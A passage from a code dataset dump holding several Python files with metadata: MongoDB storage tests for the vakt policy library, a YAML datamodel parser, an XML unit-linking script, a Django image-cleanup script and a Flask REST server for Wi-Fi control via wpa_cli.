"attribute"}, {"api_name": "SlideManager.app.route", "line_number": 52, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 52, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 64, "usage_type": "call"}, {"api_name": "io.open", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "SlideManager.app.route", "line_number": 62, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 62, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "SlideManager.app.route", "line_number": 68, "usage_type": "call"}, {"api_name": "SlideManager.app", "line_number": 68, "usage_type": "name"}]} {"seq_id": "601512103", "text": "import uuid\nimport random\nimport types\n\nimport pytest\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\n\nfrom vakt.storage.mongo import MongoStorage, Migration0To1x0x3\nfrom vakt.policy import Policy\nfrom vakt.rules.string import StringEqualRule\nfrom vakt.exceptions import PolicyExistsError, UnknownCheckerType\nfrom vakt.guard import Inquiry\nfrom vakt.checker import StringExactChecker, StringFuzzyChecker, RegexChecker\n\n\nMONGO_HOST = '127.0.0.1'\nMONGO_PORT = 27017\nDB_NAME = 'vakt_db'\nCOLLECTION = 'vakt_policies'\n\n\ndef create_client():\n return MongoClient(MONGO_HOST, MONGO_PORT)\n\n\n@pytest.mark.integration\nclass TestMongoStorage:\n\n @pytest.fixture()\n def st(self):\n client = create_client()\n yield MongoStorage(client, DB_NAME, collection=COLLECTION)\n client[DB_NAME][COLLECTION].remove()\n client.close()\n\n def test_add(self, st):\n id = str(uuid.uuid4())\n p = Policy(\n uid=id,\n description='foo bar баз',\n subjects=('Edward Rooney', 'Florence Sparrow'),\n actions=['<.*>'],\n resources=['<.*>'],\n rules={\n 'secret': StringEqualRule('i-am-a-teacher'),\n },\n )\n st.add(p)\n back = st.get(id)\n assert id == back.uid\n assert 'foo bar баз' == back.description\n assert isinstance(back.rules['secret'], StringEqualRule)\n\n def test_add_with_bson_object_id(self, st):\n id = str(ObjectId())\n p = Policy(\n uid=id,\n description='foo',\n )\n st.add(p)\n\n back = st.get(id)\n assert id == back.uid\n\n def test_policy_create_existing(self, st):\n id = str(uuid.uuid4())\n st.add(Policy(id, description='foo'))\n with pytest.raises(PolicyExistsError):\n st.add(st.add(Policy(id, description='bar')))\n\n def test_get(self, st):\n st.add(Policy('1'))\n st.add(Policy(2, description='some text'))\n assert isinstance(st.get('1'), Policy)\n assert '1' == st.get('1').uid\n assert 2 == st.get(2).uid\n assert 'some text' == st.get(2).description\n\n def test_get_nonexistent(self, st):\n assert None is st.get(123456789)\n\n @pytest.mark.parametrize('limit, offset, result', [\n (500, 0, 200),\n (101, 1, 101),\n (500, 50, 150),\n (200, 0, 200),\n (200, 1, 199),\n (199, 0, 199),\n (200, 50, 150),\n (0, 0, 200),\n (1, 0, 1),\n (5, 4, 5),\n ])\n def test_get_all(self, st, limit, offset, result):\n for i in range(200):\n desc = ''.join(random.choice('abcde') for _ in range(30))\n st.add(Policy(str(i), description=desc))\n policies = list(st.get_all(limit=limit, offset=offset))\n assert result == len(policies)\n\n def test_get_all_check_policy_properties(self, st):\n p = Policy(\n uid='1',\n description='foo bar баз',\n subjects=('Edward Rooney', 'Florence Sparrow'),\n actions=['<.*>'],\n resources=['<.*>'],\n rules={\n 'secret': StringEqualRule('i-am-a-teacher'),\n },\n )\n st.add(p)\n policies = list(st.get_all(100, 0))\n assert 1 == len(policies)\n assert '1' == policies[0].uid\n assert 'foo bar баз' == policies[0].description\n assert ['Edward Rooney', 'Florence Sparrow'] == policies[0].subjects\n assert ['<.*>'] == policies[0].actions\n assert ['<.*>'] == policies[0].resources\n assert isinstance(policies[0].rules['secret'], StringEqualRule)\n\n def test_get_all_with_incorrect_args(self, st):\n for i in range(10):\n st.add(Policy(str(i), description='foo'))\n with pytest.raises(ValueError) as e:\n list(st.get_all(-1, 9))\n assert \"Limit can't be negative\" == str(e.value)\n with pytest.raises(ValueError) as e:\n list(st.get_all(0, -3))\n assert \"Offset can't be negative\" == str(e.value)\n\n def test_get_all_returns_generator(self, st):\n st.add(Policy('1'))\n st.add(Policy('2'))\n found = st.get_all(500, 0)\n assert isinstance(found, types.GeneratorType)\n l = []\n for p in found:\n l.append(p.uid)\n assert 2 == len(l)\n\n @pytest.mark.parametrize('checker', [\n None,\n RegexChecker(256),\n ])\n def test_find_for_inquiry_with_regex_or_none_checker_specified_return_all_existing_policies(self, st, checker):\n st.add(Policy('1', subjects=['max', 'bob']))\n st.add(Policy('2', subjects=['sam', 'foo']))\n st.add(Policy('3', subjects=['bar']))\n inquiry = Inquiry(subject='Jim', action='delete', resource='server')\n found = st.find_for_inquiry(inquiry, checker)\n found = list(found)\n assert 3 == len(found)\n\n def test_find_for_inquiry_with_exact_string_checker(self, st):\n st.add(Policy('1', subjects=['max', 'bob'], actions=['get'], resources=['books', 'comics', 'magazines']))\n st.add(Policy('2', subjects=['maxim'], actions=['get'], resources=['books', 'comics', 'magazines']))\n st.add(Policy('3', subjects=['sam', 'nina']))\n inquiry = Inquiry(subject='max', action='get', resource='books')\n found = st.find_for_inquiry(inquiry, StringExactChecker())\n found = list(found)\n assert 1 == len(found)\n assert '1' == found[0].uid\n\n def test_find_for_inquiry_with_fuzzy_string_checker(self, st):\n st.add(Policy('1', subjects=['max', 'bob'], actions=['get'], resources=['books', 'comics', 'magazines']))\n st.add(Policy('2', subjects=['maxim'], actions=['get'], resources=['books', 'foos']))\n st.add(Policy('3', subjects=['Max'], actions=['get'], resources=['books', 'comics']))\n st.add(Policy('4', subjects=['sam', 'nina']))\n inquiry = Inquiry(subject='max', action='et', resource='oo')\n found = st.find_for_inquiry(inquiry, StringFuzzyChecker())\n found = list(found)\n assert 2 == len(found)\n ids = [found[0].uid, found[1].uid]\n assert '1' in ids\n assert '2' in ids\n inquiry = Inquiry(subject='Max', action='get', resource='comics')\n found = st.find_for_inquiry(inquiry, StringFuzzyChecker())\n found = list(found)\n assert 1 == len(found)\n assert '3' == found[0].uid\n\n def test_find_for_inquiry_returns_generator(self, st):\n st.add(Policy('1', subjects=['max', 'bob'], actions=['get'], resources=['comics']))\n st.add(Policy('2', subjects=['max', 'bob'], actions=['get'], resources=['comics']))\n inquiry = Inquiry(subject='max', action='get', resource='comics')\n found = st.find_for_inquiry(inquiry)\n assert isinstance(found, types.GeneratorType)\n l = []\n for p in found:\n l.append(p.uid)\n assert 2 == len(l)\n\n def test_find_for_inquiry_with_unknown_checker(self, st):\n st.add(Policy('1'))\n inquiry = Inquiry(subject='sam', action='get', resource='books')\n with pytest.raises(UnknownCheckerType):\n list(st.find_for_inquiry(inquiry, Inquiry()))\n\n def test_update(self, st):\n id = str(uuid.uuid4())\n policy = Policy(id)\n st.add(policy)\n assert id == st.get(id).uid\n assert None is st.get(id).description\n assert [] == st.get(id).actions\n policy.description = 'foo'\n policy.actions = ['a', 'b', 'c']\n st.update(policy)\n assert id == st.get(id).uid\n assert 'foo' == st.get(id).description\n assert ['a', 'b', 'c'] == st.get(id).actions\n\n def test_update_non_existing_does_not_create_anything(self, st):\n id = str(uuid.uuid4())\n st.update(Policy(id, actions=['get'], description='bar'))\n assert st.get(id) is None\n\n def test_delete(self, st):\n policy = Policy('1')\n st.add(policy)\n assert '1' == st.get('1').uid\n st.delete('1')\n assert None is st.get('1')\n\n def test_delete_nonexistent(self, st):\n uid = str(ObjectId())\n st.delete(uid)\n assert None is st.get(uid)\n\n def test_returned_condition(self, st):\n uid = str(uuid.uuid4())\n p = Policy(\n uid=uid,\n rules={\n 'secret': StringEqualRule('i-am-a-teacher'),\n 'secret2': StringEqualRule('i-am-a-husband'),\n\n },\n )\n st.add(p)\n rules = st.get(uid).rules\n assert rules['secret'].satisfied('i-am-a-teacher')\n assert rules['secret2'].satisfied('i-am-a-husband')\n\n\n@pytest.mark.integration\nclass TestMigration0To1x0x3:\n\n @pytest.fixture()\n def migration(self):\n client = create_client()\n storage = MongoStorage(client, DB_NAME, collection=COLLECTION)\n yield Migration0To1x0x3(storage)\n client[DB_NAME][COLLECTION].remove()\n client.close()\n\n def test_order(self, migration):\n assert 1 == migration.order\n\n def test_has_access_to_storage(self, migration):\n assert hasattr(migration, 'storage') and migration.storage is not None\n\n def test_up(self, migration):\n migration.up()\n created_indices = [i['name'] for i in migration.storage.collection.list_indexes()]\n assert created_indices == ['_id_', 'actions_idx', 'subjects_idx', 'resources_idx']\n\n def test_down(self, migration):\n migration.down()\n left_indices = [i['name'] for i in migration.storage.collection.list_indexes()]\n assert left_indices == ['_id_']\n", "sub_path": "tests/test_storage_mongo.py", "file_name": "test_storage_mongo.py", "file_ext": "py", "file_size_in_byte": 9608, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymongo.MongoClient", "line_number": 24, "usage_type": "call"}, {"api_name": "vakt.storage.mongo.MongoStorage", "line_number": 33, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 30, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 38, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 39, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 46, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 53, "usage_type": "argument"}, {"api_name": "bson.objectid.ObjectId", "line_number": 56, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 57, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 67, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 68, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 69, "usage_type": "call"}, {"api_name": "vakt.exceptions.PolicyExistsError", "line_number": 69, "usage_type": "argument"}, {"api_name": "vakt.policy.Policy", "line_number": 70, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 73, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 74, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 75, "usage_type": "argument"}, {"api_name": "random.choice", "line_number": 97, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 83, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 83, "usage_type": "attribute"}, {"api_name": "vakt.policy.Policy", "line_number": 103, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 110, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 121, "usage_type": "argument"}, {"api_name": "vakt.policy.Policy", "line_number": 125, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 126, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 129, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 134, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 135, "usage_type": "call"}, {"api_name": "types.GeneratorType", "line_number": 137, "usage_type": "attribute"}, {"api_name": "vakt.policy.Policy", "line_number": 148, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 149, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 150, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 151, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 143, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 143, "usage_type": "attribute"}, {"api_name": "vakt.checker.RegexChecker", "line_number": 145, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 157, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 158, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 159, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 160, "usage_type": "call"}, {"api_name": "vakt.checker.StringExactChecker", "line_number": 161, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 167, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 168, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 169, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 170, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 171, "usage_type": "call"}, {"api_name": "vakt.checker.StringFuzzyChecker", "line_number": 172, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 178, "usage_type": "call"}, {"api_name": "vakt.checker.StringFuzzyChecker", "line_number": 179, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 185, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 186, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 187, "usage_type": "call"}, {"api_name": "types.GeneratorType", "line_number": 189, "usage_type": "attribute"}, {"api_name": "vakt.policy.Policy", "line_number": 196, "usage_type": "call"}, {"api_name": "vakt.guard.Inquiry", "line_number": 197, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 198, "usage_type": "call"}, {"api_name": "vakt.exceptions.UnknownCheckerType", "line_number": 198, "usage_type": "argument"}, {"api_name": "vakt.guard.Inquiry", "line_number": 199, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 202, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 203, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 216, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 217, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 221, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 228, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 233, "usage_type": "call"}, {"api_name": "vakt.policy.Policy", "line_number": 234, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 237, "usage_type": "call"}, {"api_name": "vakt.rules.string.StringEqualRule", "line_number": 238, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 27, "usage_type": "attribute"}, {"api_name": "vakt.storage.mongo.MongoStorage", "line_number": 254, "usage_type": "call"}, {"api_name": "vakt.storage.mongo.Migration0To1x0x3", "line_number": 255, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 251, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 248, "usage_type": "attribute"}]} {"seq_id": "541440078", "text": "# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Filename: yaml.py\n# Project: utils\n# Author: Brian Cherinka\n# Created: Friday, 29th March 2019 1:46:58 pm\n# License: BSD 3-clause \"New\" or \"Revised\" License\n# Copyright (c) 2019 Brian Cherinka\n# Last Modified: Friday, 5th April 2019 6:37:00 am\n# Modified By: Brian Cherinka\n\n\nfrom __future__ import print_function, division, absolute_import\nimport pathlib\nimport re\nimport os\nimport yaml\n\n\ndef get_yaml_files(path: str, get: str = 'products') -> list:\n ''' Find valid yaml files\n\n Parameters\n ----------\n path : str\n A filepath to a yaml datamodel\n get : str\n A name of the yaml file to find\n\n Returns\n -------\n A list of all available yaml files\n '''\n assert get in ['datamodel', 'products', 'models']\n datamodel_dir = os.environ['CTHREEPO_DIR'] / pathlib.Path(path)\n if get in ['products', 'datamodel']:\n files = list(datamodel_dir.rglob(f'*{get}*.yaml'))\n assert len(list(files)) == 1, f'there can only be one {get} file'\n return files[0]\n elif get == 'models':\n files = []\n for file in datamodel_dir.rglob('*.yaml'):\n if file.stem not in ['datamodel', 'products']:\n files.append(file)\n return files\n\n\ndef read_yaml(ymlfile: str) -> dict:\n ''' Opens and reads a yaml datamodel file\n\n Parameters\n ----------\n ymlfile : str\n the yaml filepath\n\n Returns\n -------\n dictionary contents of yaml file\n '''\n\n if isinstance(ymlfile, str):\n ymlfile = pathlib.Path(ymlfile)\n\n with open(ymlfile, 'r') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n\n if ymlfile.stem not in ['datamodel', 'products']:\n assert 'schema' in data, 'datamodel file must contain a schema section'\n assert 'objects' in data, 'datamodel file must contain an objects section'\n\n return data\n\n\ndef parse_value(key: str, value: list, data: dict, versions: list) -> dict:\n ''' parse a value for versions '''\n\n if not isinstance(value, str):\n return value\n\n value = value.replace(' ', '')\n\n # check if the value has a version in it\n version_patt = r'^(?:{0})'.format('|'.join(versions))\n has_vers = re.search(version_patt, value)\n if not has_vers:\n assert '+=' not in value, f'{value} cannot have a += operator'\n assert '-=' not in value, f'{value} cannot have a -= operator'\n return value\n\n # check format of string value\n word_patt = r'([+-]=\\[?\\w+-?,?\\w+\\]?)+'\n pattern = r'{0}{1}'.format(version_patt, word_patt)\n match = re.search(pattern, value)\n if not match:\n raise ValueError('Syntax does not match the correct syntax: [ver] += XXX -= XXX')\n\n # split the value on +=, -=\n content = re.split(r'(\\+=|\\-=)', value)\n version, modifiers = content[0], content[1:]\n assert version in versions, f'{version} not in allowed list of versions'\n\n # get the data for this version\n rel_data = data[version]\n assert key in rel_data, f'{key} not found in this release data'\n\n # get the original value content for the key\n orig_data = rel_data[key].copy()\n\n # loop over the modifiers by 2\n for mod in modifiers[1::2]:\n idx = modifiers.index(mod)\n islist = re.search(r'\\[(.*?)\\]', mod)\n # convert the string into a list\n if islist:\n modeval = islist.group(1).split(',')\n else:\n modeval = [mod]\n\n # modify the original list of values\n if modifiers[idx - 1] == '+=':\n orig_data = list(set(orig_data) | set(modeval))\n elif modifiers[idx - 1] == '-=':\n orig_data = list(set(orig_data) - set(modeval))\n\n return orig_data\n\n\ndef expand_yaml(data: dict) -> dict:\n ''' Expand the yaml with version substitution '''\n\n # loop over the objects\n for key, value in data.items():\n changelog = value.get('changelog', None)\n versions = value.get('versions', None)\n assert versions is not None, f'Must have a \"versions\" key set for object: {key}'\n if changelog and isinstance(changelog, dict):\n for ver in versions:\n if ver in changelog:\n # perform any parameter substitution\n verdata = changelog[ver]\n for k, v in verdata.items():\n new = parse_value(k, v, changelog, versions)\n changelog[ver][k] = new\n else:\n # handle a version not in the changelog explicitly; use the defaults\n defaults = data[key].get('defaults', None)\n changelog[ver] = defaults\n\n # remove the defaults keyword after expansion\n __ = data[key].pop('defaults', None)\n\n # remove any lingering NULL versions\n changelog = {k: v for k, v in changelog.items() if v is not None}\n data[key]['changelog'] = changelog\n\n return data\n\n", "sub_path": "python/cthreepo/io/yaml.py", "file_name": "yaml.py", "file_ext": "py", "file_size_in_byte": 5007, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 66, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 66, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 85, "usage_type": "call"}, {"api_name": "re.search", "line_number": 94, "usage_type": "call"}, {"api_name": "re.split", "line_number": 99, "usage_type": "call"}, {"api_name": "re.search", "line_number": 113, "usage_type": "call"}]} {"seq_id": "282490755", "text": "#connect_uu,py\n'''\n本文件用于随机连接两个unit，属于前期工具，现已无用\n'''\nimport numpy as np\nimport pandas as pd\nfrom random import shuffle\nimport xml.dom.minidom\nfrom my_tools import *\n\"\"\"与同类相连，该用什么办法呢？\n相连的方法是对称的\n先把谁会和谁相连写清楚\"\"\"\nclass uu_linker:\n def __init__(self,unit_path):\n self.units_dir=unit_path\n self.units_name=member_file_name(unit_path)\n self.units_id=[]\n for i in self.units_name:\n unitdom=read_xml(self.units_dir+'\\\\\\\\'+i)\n root=unitdom.documentElement\n member_type=root.getElementsByTagName('memberType')[0]\n u_id=member_type.getAttribute('ID')\n self.units_id.append(u_id)\n link_matrix=np.zeros((len(self.units_name),len(self.units_name)),dtype=np.int)\n self.link_matrix=pd.DataFrame(link_matrix)\n self.link_matrix.columns=self.units_id\n self.link_matrix.index = self.units_id\n link_strength_matrix=np.zeros((len(self.units_name),len(self.units_name)),dtype=np.float)\n self.link_strength_matrix=pd.DataFrame(link_strength_matrix)\n self.link_strength_matrix.columns=self.units_id\n self.link_strength_matrix.index = self.units_id\n\n\n def link_uu(self):\n dom = xml.dom.minidom.Document()\n self.link_matrix_make()\n\n for i in self.units_name:#对于每个单元\n unitdom = read_xml(self.units_dir+'\\\\\\\\'+i)\n '''unitdom = read_xml(\n \"E:\\\\code\\\\PycharmProjects\\\\simulation\\\\cE_units\\\\\" + \"MyCrowd_Unit\" + str(i).zfill(2) + \".xml\")'''\n root = unitdom.documentElement\n member_type = root.getElementsByTagName('memberType')[0]\n u_id = member_type.getAttribute('ID')\n parameter=root.getElementsByTagName('parameter')[0]\n c_endowment=float(parameter.getAttribute('endowment'))\n remain=self.make_link_strength(u_id,c_endowment)#分配权重并返回剩下的\n parameter.setAttribute('remain',str(round(remain,5)))\n c_scale=0\n for j in self.units_id:\n if self.link_strength_matrix[u_id][j] != 0.0:#有连接关系\n c_unit=dom.createElement('cUnit')\n c_unit.setAttribute('uID',str(j))\n c_unit.setAttribute('strength',str(round(self.link_strength_matrix[u_id][j],5)))\n parameter.appendChild(c_unit)\n c_scale+=1\n parameter.setAttribute('scale',str(c_scale))\n\n write_xml(self.units_dir+'\\\\\\\\'+i,unitdom)\n\n def make_link_strength(self,i,endowment):\n \"\"\"\n :param i: 想要分配连接关系的成员的下标，此处是成员的ID编号\n :param endowment: 该成员拥有的比较用的连接禀赋\n :return: remain:分配结束后成员的连接禀赋\n \"\"\"\n remain=endowment\n for j in self.units_id:\n if int(self.link_matrix[i][j])!=0:\n rand_strength=np.random.rand()*remain\n self.link_strength_matrix[i][j]=rand_strength\n remain-=rand_strength\n return remain\n\n\n def link_matrix_make(self):\n for i in self.units_id:\n rand_scale=np.random.randint(0,len(self.units_id))\n rand_link=self.units_id.copy()\n shuffle(rand_link)\n rand_link=rand_link[:rand_scale]\n for j in rand_link:\n if self.units_id.index(i)<self.units_id.index(j):\n self.link_matrix[i][j]=self.link_matrix[j][i]=1\n\nif __name__ == '__main__':\n unit_dir= r'../cE_units'\n uu=uu_linker(unit_dir)\n uu.link_uu()", "sub_path": "cE_XmlScript/connect_uu.py", "file_name": "connect_uu.py", "file_ext": "py", "file_size_in_byte": 3709, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 29, "usage_type": "call"}, {"api_name": "xml.dom.minidom.dom.minidom.Document", "line_number": 35, "usage_type": "call"}, {"api_name": "xml.dom.minidom.dom", "line_number": 35, "usage_type": "attribute"}, {"api_name": "xml.dom.minidom", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.random.rand", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 78, "usage_type": "attribute"}, {"api_name": "random.shuffle", "line_number": 80, "usage_type": "call"}]} {"seq_id": "220202376", "text": "import os\r\n\r\nif __name__ == '__main__':\r\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"FULL_BBS.settings\")\r\n import django\r\n\r\n # 启动django服务\r\n django.setup()\r\n\r\n from BBS_app import models\r\n from FULL_BBS import settings\r\n from bs4 import BeautifulSoup\r\n\r\n \"\"\"\r\n models.UserInfo.objects.create_superuser(username='HGQ', password='123123', phone='13695797487',email='he_guiqing@qq.com')\r\n \"\"\"\r\n\r\n\r\n def clear():\r\n contents = models.Article.objects.all().values('content')\r\n ll = []\r\n for content in contents:\r\n soup = BeautifulSoup(content['content'], 'html.parser')\r\n tags = soup.find_all(name='img')\r\n for tag in tags:\r\n ll.append(tag.attrs['src'])\r\n path = os.path.join(settings.BASE_DIR, 'media', 'img')\r\n img_list = os.listdir(path)\r\n for i in img_list:\r\n img_path = '/' + 'media' + '/' + 'img' + '/' + i\r\n if img_path not in ll:\r\n os.remove(os.path.join(settings.BASE_DIR, 'media', 'img', i))\r\n\r\n clear()", "sub_path": "FULL_BBS/BBS_app/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 1083, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ.setdefault", "line_number": 4, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 8, "usage_type": "call"}, {"api_name": "BBS_app.models.Article.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "BBS_app.models.Article", "line_number": 20, "usage_type": "attribute"}, {"api_name": "BBS_app.models", "line_number": 20, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "FULL_BBS.settings.BASE_DIR", "line_number": 27, "usage_type": "attribute"}, {"api_name": "FULL_BBS.settings", "line_number": 27, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "FULL_BBS.settings.BASE_DIR", "line_number": 32, "usage_type": "attribute"}, {"api_name": "FULL_BBS.settings", "line_number": 32, "usage_type": "name"}]} {"seq_id": "215057182", "text": "#!/usr/bin/python\n# -*- coding: utf8 -*-\n# Author: Antipin S.O. @RLDA\n\nfrom flask import Flask, jsonify, abort, request, make_response, url_for\nfrom flask_cors import CORS, cross_origin\n\n# Кастомный модуль для работы с wpa_cli (в корневой директории)\nfrom wpa_commands import reset_uap0, wpa_status, wpa_scan, wpa_connect, wpa_disconnect\n\n# ============================= LOGS ============================= #\n# Модуль для определения абсолютного пути\nimport os\n# Модуль логгер\nimport logging\n\nfrom logging.handlers import TimedRotatingFileHandler\n\n# Абсолютный путь к исполняемому скрипту\nROOT = os.path.dirname(os.path.abspath(__file__))\n\n# Путь к файлу лога\nLOG_FILE = os.path.join(ROOT, 'logs/flask-server.log')\n\nLOG = logging.getLogger()\nLOG.setLevel(logging.DEBUG)\n\nRFH = TimedRotatingFileHandler(LOG_FILE,\n when=\"D\",\n interval=1,\n backupCount=5)\nRFH.setLevel(logging.DEBUG)\n\nSH = logging.StreamHandler()\nSH.setLevel(logging.DEBUG)\n\nFORMATTER = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')\nRFH.setFormatter(FORMATTER)\nSH.setFormatter(FORMATTER)\n\nLOG.addHandler(SH)\nLOG.addHandler(RFH)\n\n# ============================= FLASK ============================= #\nreset_uap0()\n\napp = Flask(__name__, static_url_path=\"\")\ncors = CORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\n\n\n@app.errorhandler(400)\ndef not_found(error):\n return make_response(jsonify({'error': 'Bad request'}), 400)\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return make_response(jsonify({'error': 'Not found'}), 404)\n\n\n@app.route('/status', methods=['GET'])\n@cross_origin()\ndef getStatus():\n \"\"\" Запрос статуса подключений \"\"\"\n LOG.info(\"Got status\")\n response = {}\n response = wpa_status()\n return jsonify(response)\n\n\n@app.route('/scan', methods=['GET'])\n@cross_origin()\ndef scan():\n \"\"\" Сканирование сети \"\"\"\n LOG.info(\"Got scan\")\n response = {}\n response = wpa_scan()\n return jsonify(response)\n\n\n@app.route('/disconnect', methods=['GET'])\n@cross_origin()\ndef disconnect():\n \"\"\" Разрыв соединения \"\"\"\n LOG.info(\"Got disconnect\")\n response = {}\n response = wpa_disconnect()\n\n return jsonify(response)\n\n\n@app.route('/connect', methods=['POST'])\n@cross_origin()\ndef connect():\n \"\"\" Подключение к заданной сети \"\"\"\n LOG.info(\"Got connect\")\n # Если тело не является json или нет ключа ssid вернуть 400\n if not request.json or 'ssid' not in request.json:\n abort(400)\n # Забрать json\n creds = request.get_json()\n # Выделение ssid\n ssid = creds['ssid'].encode('utf-8')\n # Выделение psk\n psk = creds['psk'].encode('utf-8')\n\n response = {}\n response = wpa_connect(ssid, psk)\n return jsonify(response)\n\n\n# Точка входа main\nif __name__ == '__main__':\n LOG.info(\"Entered main\")\n reset_uap0()\n app.run(debug=True)\n", "sub_path": "flaskREST/rest-flask-server.py", "file_name": "rest-flask-server.py", "file_ext": "py", "file_size_in_byte": 3182, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 